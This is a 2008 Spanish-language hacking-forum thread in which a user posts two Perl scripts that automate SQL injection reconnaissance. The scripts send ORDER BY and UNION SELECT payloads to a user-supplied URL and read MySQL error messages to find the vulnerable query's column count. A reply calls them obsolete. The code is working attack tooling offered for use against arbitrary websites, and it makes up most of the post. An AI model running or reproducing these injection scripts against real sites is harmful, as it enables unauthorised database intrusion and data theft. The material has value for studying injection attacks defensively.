Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Login-Root en 5 Julio 2008, 19:41 pm



Título: [+] MySQL Column Finder
Publicado por: Login-Root en 5 Julio 2008, 19:41 pm
Bueno, mi primer script en perl, no sean muy duros :D

Código:
#!/usr/bin/perl

###########################################################################################
# Busca la cantidad de columnas en una inyeccion MySQL utilizando la sentencia ORDER.   ###
# By Login-Root                                                                         ###
# MSN: no.more@passport.com                                                             ###
# Jabber: login-root@x23.eu                                                             ###
# E-Mail: login_root@yahoo.com.ar                                                       ###
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; N3xt.d00r                        ###
# Many thanks to boER, who teach me a little of perl ;D                                 ###
# VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG                                          ###
###########################################################################################

use LWP::Simple;

if(!$ARGV[0])
{
     print "\n\n## c0ded by Login-Root | 2008 ##";
     print "\n\nUso: perl $0 http://www.web.com/index.php?id=\n\n";
     exit (1);
}

$column=1;
while (5)
{
    $sql=$ARGV[0]."-1+order+by+".$column."/*";
    $contenido=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");

    if($contenido=~ /mysql_fetch_/ )
    {
         print "\n[+] Fallo el intento de obtener $column columnas\n";
         $column --;
         if ($column == 0)
         {
             $column ++;
         }
         $sql=$ARGV[0]."-1+order+by+".$column."/*";
         print "[+] La web tiene $column columnas:\n\n";
         print "$sql\n\n";
         print "## c0ded by Login-Root | 2008 ##\n\n";
         exit (1);
     }
     else
     {
         print "\n[!] Sin error al intentar con $column columnas";
         $column ++;
     }
}


Ejemplo de uso (Con ORDER):


(http://img157.imageshack.us/img157/7601/ordereq0.png)


Mismo code, pero utilizando la sentencia UNION:

Código:
#!/usr/bin/perl

###########################################################################################
# Busca la cantidad de columnas en una inyeccion MySQL  utilizando la sentencia UNION.  ###
# By Login-Root                                                                         ###
# MSN: no.more@passport.com                                                             ###
# Jabber: login-root@x23.eu                                                             ###
# E-Mail: login_root@yahoo.com.ar                                                       ###
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; N3xt.d00r                        ###
# Many thanks to boER, who teach me a little of perl ;D                                 ###
# VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG                                          ###
###########################################################################################

use LWP::Simple;

if(!$ARGV[0])
{
     print "\n\n## c0ded by Login-Root | 2008 ##";
     print "\n\nUso: perl $0 http://www.web.com/index.php?id=\n\n";
     exit (1);
}

$column=0;

while (5)
{
    $union.=','.$column;
    if ($column == 0)
    {
        $union='';
    }
    $sql=$ARGV[0]."-1+union+all+select+0".$union."/*";
    $contenido=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");

    if($contenido=~ /mysql_fetch_/ )
    {
         $column ++;
         print "\n[!] Fallo el intento de obtener $column columnas";
    }
     else
     {
         $column ++;
         print "\n[+] La web posee $column columnas\n\n";
         print "$sql\n\n";
         print "## c0ded by Login-Root | 2008 ##\n\n";
         exit (1);
         
     }
}


Ejemplo de uso (Con UNION):


(http://img157.imageshack.us/img157/9021/unionbm0.png)


Gracias de nuevo boER!, por enseñarme algunas cosas básicas de Perl.

Saludos.


Título: Re: [+] MySQL Column Finder
Publicado por: berz3k en 9 Julio 2008, 04:02 am
Los codigos NO son malos, pero a mi punto de vista SI algo obsoletos para lo que hacen hoy en dia la infinidad de herramientas sobre SQL injection, se podria mejorar bastante si agregas mas opciones y lo conjuntas en uno solo.

-berz3k.